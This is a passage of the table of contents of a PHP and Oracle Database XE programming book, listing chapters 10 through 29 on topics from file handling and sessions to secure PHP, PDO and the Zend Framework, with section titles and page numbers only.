. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194
■CHAPTER 10 Working with the File and Operating System . . . . . . . . . . . 195 Learning About Files and Directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195 Parsing Directory Paths . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196 Calculating File, Directory, and Disk Sizes . . . . . . . . . . . . . . . . . . . 197 Determining Access and Modification Times . . . . . . . . . . . . . . . . . 200 Working with Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201 The Concept of a Resource . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201 Recognizing Newline Characters . . . . . . . . . . . . . . . . . . . . . . . . . . . 202 Recognizing the End-of-File Character . . . . . . . . . . . . . . . . . . . . . . 202 Opening and Closing a File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202 Reading from a File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204 Writing a String to a File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209 Moving the File Pointer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210 Reading Directory Contents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210 Executing Shell Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212 System-Level Program Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213 Sanitizing the Input . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213 PHP’s Program Execution Functions . . . . . . . . . . . . . . . . . . . . . . . . . 214 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Gilmore_Bryla_770-2FRONT.fm Page xiii Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
■CHAPTER 11 PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 Popular PEAR Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 Preinstalled Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 Installer-Suggested Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220 The Power of PEAR: Converting Numeral Formats . . . . . . . . . . . . . . . . . 221 Installing and Updating PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222 Installing PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222 PEAR and Hosting Companies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 Updating PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 Using the PEAR Package Manager . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 Viewing an Installed PEAR Package . . . . . . . . . . . . . . . . . . . . . . . . . 224 Learning More About an Installed PEAR Package . . . . . . . . . . . . . . 224 Installing a PEAR Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225 Including a Package Within Your Scripts . . . . . . . . . . . . . . . . . . . . . 226 Upgrading Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227 Uninstalling a Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228 Downgrading a Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228
■CHAPTER 12 Date and Time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229 The Unix Timestamp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229 PHP’s Date and Time Library . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 Validating Dates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 Formatting Dates and Times . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231 Converting a Timestamp to User-Friendly Values . . . . . . . . . . . . . . 234 Working with Timestamps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235 Date Fu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236 Displaying the Localized Date and Time . . . . . . . . . . . . . . . . . . . . . 237 Displaying the Web Page’s Most Recent Modification Date . . . . . 240 Determining the Number of Days in the Current Month . . . . . . . . . 240 Determining the Number of Days in Any Given Month . . . . . . . . . . 241 Calculating the Date X Days from the Present Date . . . . . . . . . . . . 241 Taking Advantage of PEAR: Creating a Calendar . . . . . . . . . . . . . . 242 Date and Time Enhancements for PHP 5.1+ Users . . . . . . . . . . . . . . . . 245 Introducing the DateTime Constructor . . . . . . . . . . . . . . . . . . . . . . . 245 Formatting Dates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245 Setting the Date After Instantiation . . . . . . . . . . . . . . . . . . . . . . . . . . 245 Setting the Time After Instantiation . . . . . . . . . . . . . . . . . . . . . . . . . 246 Modifying Dates and Times . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 246 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
xiii
Gilmore_Bryla_770-2FRONT.fm Page xiv Thursday, August 2, 2007 3:24 PM
xiv
■C O N T E N T S
■CHAPTER 13 Forms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249 PHP and Web Forms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249 A Simple Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250 Passing Form Data to a Function . . . . . . . . . . . . . . . . . . . . . . . . . . . 251 Working with Multivalued Form Components . . . . . . . . . . . . . . . . . 252 Taking Advantage of PEAR: HTML_QuickForm . . . . . . . . . . . . . . . . . . . . 253 Installing HTML_QuickForm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254 Creating a Simple Form . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254 Using Auto-Completion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 258 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259
■CHAPTER 14 Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 HTTP Authentication Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 PHP Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 Authentication Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 Useful Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263 PHP Authentication Methodologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 264 Hard-Coded Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 264 File-Based Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265 Database-Based Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266 IP-Based Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268 User Login Administration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270 Testing Password Guessability with the CrackLib Library . . . . . . . 270 One-Time URLs and Password Recovery . . . . . . . . . . . . . . . . . . . . . 272 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
■CHAPTER 15 Handling File Uploads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277 Uploading Files via HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277 Uploading Files with PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278 PHP’s File Upload/Resource Directives . . . . . . . . . . . . . . . . . . . . . . 278 The $_FILES Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279 PHP’s File-Upload Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280 Upload Error Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281 A Simple Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
Gilmore_Bryla_770-2FRONT.fm Page xv Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Taking Advantage of PEAR: HTTP_Upload . . . . . . . . . . . . . . . . . . . . . . . . 283 Installing HTTP_Upload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283 Uploading a File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283 Learning More About an Uploaded File . . . . . . . . . . . . . . . . . . . . . . 284 Uploading Multiple Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
■CHAPTER 16 Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287 DNS, Services, and Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287 DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 288 Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291 Establishing Socket Connections . . . . . . . . . . . . . . . . . . . . . . . . . . . 292 Mail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294 Configuration Directives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294 Sending E-mail Using a PHP Script. . . . . . . . . . . . . . . . . . . . . . . . . . 295 Common Networking Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299 Pinging a Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299 Creating a Port Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 300 Creating a Subnet Converter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301 Testing User Bandwidth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
■CHAPTER 17 PHP and LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305 Using LDAP from PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306 Connecting to an LDAP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306 Retrieving LDAP Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309 Counting Retrieved Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312 Sorting LDAP Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312 Inserting LDAP Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313 Updating LDAP Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314 Deleting LDAP Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314 Working with the Distinguished Name . . . . . . . . . . . . . . . . . . . . . . . 315 Error Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317
xv
Gilmore_Bryla_770-2FRONT.fm Page xvi Thursday, August 2, 2007 3:24 PM
xvi
■C O N T E N T S
■CHAPTER 18 Session Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319 What Is Session Handling? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319 Configuration Directives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321 Managing the Session Storage Media . . . . . . . . . . . . . . . . . . . . . . . 321 Setting the Session Files Path . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321 Automatically Enabling Sessions . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 Setting the Session Name . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 Choosing Cookies or URL Rewriting . . . . . . . . . . . . . . . . . . . . . . . . . 322 Automating URL Rewriting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 Setting the Session Cookie Lifetime . . . . . . . . . . . . . . . . . . . . . . . . . 323 Setting the Session Cookie’s Valid URL Path . . . . . . . . . . . . . . . . . . 323 Setting Caching Directions for Session-Enabled Pages . . . . . . . . . 323 Working with Sessions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 324 Starting a Session . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 324 Destroying a Session . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325 Setting and Retrieving the Session ID . . . . . . . . . . . . . . . . . . . . . . . 325 Creating and Deleting Session Variables . . . . . . . . . . . . . . . . . . . . . 326 Encoding and Decoding Session Data . . . . . . . . . . . . . . . . . . . . . . . 326 Practical Session-Handling Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . 328 Automatically Logging In Returning Users . . . . . . . . . . . . . . . . . . . . 328 Generating a Recently Viewed Document Index . . . . . . . . . . . . . . . 330 Creating Custom Session Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332 Tying Custom Session Functions into PHP’s Logic . . . . . . . . . . . . . 333 Custom Oracle-Based Session Handlers . . . . . . . . . . . . . . . . . . . . . 333 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337
■CHAPTER 19 Templating with Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339 What’s a Templating Engine? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339 Introducing Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341 Installing Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342 Using Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343 Smarty’s Presentational Logic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344 Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345 Variable Modifiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345 Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348 Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 352 Creating Configuration Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 354 config_load . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355 Referencing Configuration Variables . . . . . . . . . . . . . . . . . . . . . . . . 355
Gilmore_Bryla_770-2FRONT.fm Page xvii Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Using CSS in Conjunction with Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . 356 Caching . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357 Working with the Cache Lifetime . . . . . . . . . . . . . . . . . . . . . . . . . . . 357 Eliminating Processing Overhead with is_cached() . . . . . . . . . . . . 358 Creating Multiple Caches per Template . . . . . . . . . . . . . . . . . . . . . . 358 Some Final Words About Caching . . . . . . . . . . . . . . . . . . . . . . . . . . . 359 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360
■CHAPTER 20 Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361 Why Web Services? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361 Real Simple Syndication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363 RSS Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 365 MagpieRSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366 SimpleXML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 372 Loading XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 373 Parsing the XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374 SOAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 377 SOAP Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378 PHP’s SOAP Extension . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 385
■CHAPTER 21 Secure PHP Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387 Configuring PHP Securely . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387 Safe Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387 Other Security-Related Configuration Parameters . . . . . . . . . . . . . 390 Hiding Configuration Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 391 Hiding Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392 Hiding PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393 Hiding Sensitive Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394 Hiding the Document Root . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394 Denying Access to Certain File Extensions . . . . . . . . . . . . . . . . . . . 394 Sanitizing User Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395 File Deletion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395 Sanitizing User Input: The Solution . . . . . . . . . . . . . . . . . . . . . . . . . . 397 Taking Advantage of PEAR: Validate . . . . . . . . . . . . . . . . . . . . . . . . . 399 Data Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 400 PHP’s Encryption Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 401 The MCrypt Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
xvii
Gilmore_Bryla_770-2FRONT.fm Page xviii Thursday, August 2, 2007 3:24 PM
xviii
■C O N T E N T S
■CHAPTER 22 SQLite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407 Introduction to SQLite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407 Installing SQLite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407 Using the SQLite Command-Line Interface . . . . . . . . . . . . . . . . . . . 408 PHP’s SQLite Library . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409 sqlite.assoc_case = 0 | 1 | 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409 Opening a Connection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410 Creating a Table in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411 Closing a Connection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411 Querying a Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412 Parsing Result Sets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413 Retrieving Result Set Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416 Manipulating the Result Set Pointer . . . . . . . . . . . . . . . . . . . . . . . . . 418 Retrieving a Table’s Column Types . . . . . . . . . . . . . . . . . . . . . . . . . 419 Working with Binary Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420 Creating and Overriding SQLite Functions . . . . . . . . . . . . . . . . . . . . 421 Creating Aggregate Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
■CHAPTER 23 Introducing PDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425 Another Database Abstraction Layer? . . . . . . . . . . . . . . . . . . . . . . . . . . . 426 Using PDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427 Installing PDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427 PDO’s Database Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 428 Connecting to a Database Server and Selecting a Database . . . . . 428 Handling Errors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 430 Executing Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431 Prepared Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 433 Retrieving Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 436 Setting Bound Columns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 439 Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 440 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 440
■CHAPTER 24 Building Web Sites for the World . . . . . . . . . . . . . . . . . . . . . . . . 441 Approaches to Internationalizing and Localizing Applications . . . . . . . . 441 Translating Web Sites with Gettext . . . . . . . . . . . . . . . . . . . . . . . . . . 442 Localizing Dates, Numbers, and Times . . . . . . . . . . . . . . . . . . . . . . 446 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Gilmore_Bryla_770-2FRONT.fm Page xix Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
■CHAPTER 25 MVC and the Zend Framework . . . . . . . . . . . . . . . . . . . . . . . . . . 449 Introducing MVC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449 PHP’s Framework Solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 451 The CakePHP Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 The Solar Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 The symfony Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 The Zend Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453 Introducing the Zend Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453 Downloading and Installing the Zend Framework . . . . . . . . . . . . . . 454 Creating Your First Zend Framework-Driven Web Site . . . . . . . . . . 455 Searching the Web with Zend_Service_Yahoo . . . . . . . . . . . . . . . . 460 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 462
■CHAPTER 26 Introducing Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 463 Oracle’s Database Family . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 463 Express Edition (XE) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 463 Standard Edition One . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 465 Standard Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 465 Enterprise Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 465 Personal Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466 Other Products in the Oracle Family . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466 Developer and Client-Side Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 467
■CHAPTER 27 Installing and Configuring Oracle Database XE . . . . . . . . . 469 Ensuring Installation Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 469 Windows Installation Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 470 Windows Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 470 Downloading the Installation Files . . . . . . . . . . . . . . . . . . . . . . . . . . 470 Performing the Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 470 Configuring Oracle and PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474 Linux Installation Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474 Linux Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 475 Downloading the Installation Files . . . . . . . . . . . . . . . . . . . . . . . . . . 476 Performing the Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 477 Configuring Oracle and PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 478 Performing Post-Installation Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 479 Creating User Accounts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 479 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 480
xix
Gilmore_Bryla_770-2FRONT.fm Page xx Thursday, August 2, 2007 3:24 PM
xx
■C O N T E N T S
■CHAPTER 28 Oracle Database XE Administration . . . . . . . . . . . . . . . . . . . . . 481 Understanding the Oracle Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . 481 Oracle Storage Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482 Oracle Memory Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485 Initialization Parameters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 487 Connecting to the Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 489 Running SQL*Plus from the Command Line . . . . . . . . . . . . . . . . . . 489 Running SQL Commands Using the XE Home Page . . . . . . . . . . . . 492 Starting and Stopping Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . 494 Starting Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 494 Stopping Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 495 Using Oracle-Supplied Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 496 Administration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 497 Object Browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 497 SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498 Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498 Application Builder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498 Troubleshooting in Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 499 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 500
■CHAPTER 29 Interacting with Oracle Database XE . . . . . . . . . . . . . . . . . . . . 501 XE Home Page . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 501 Installing the Oracle Database XE Client . . . . . . . . . . . . . . . . . . . . . . . . . 501 Installing the Windows Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502 Installing the Linux Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 503 Using SQL Command Line . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 504 Using SQL Developer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 504 Using Application Express . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 506 Using PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511
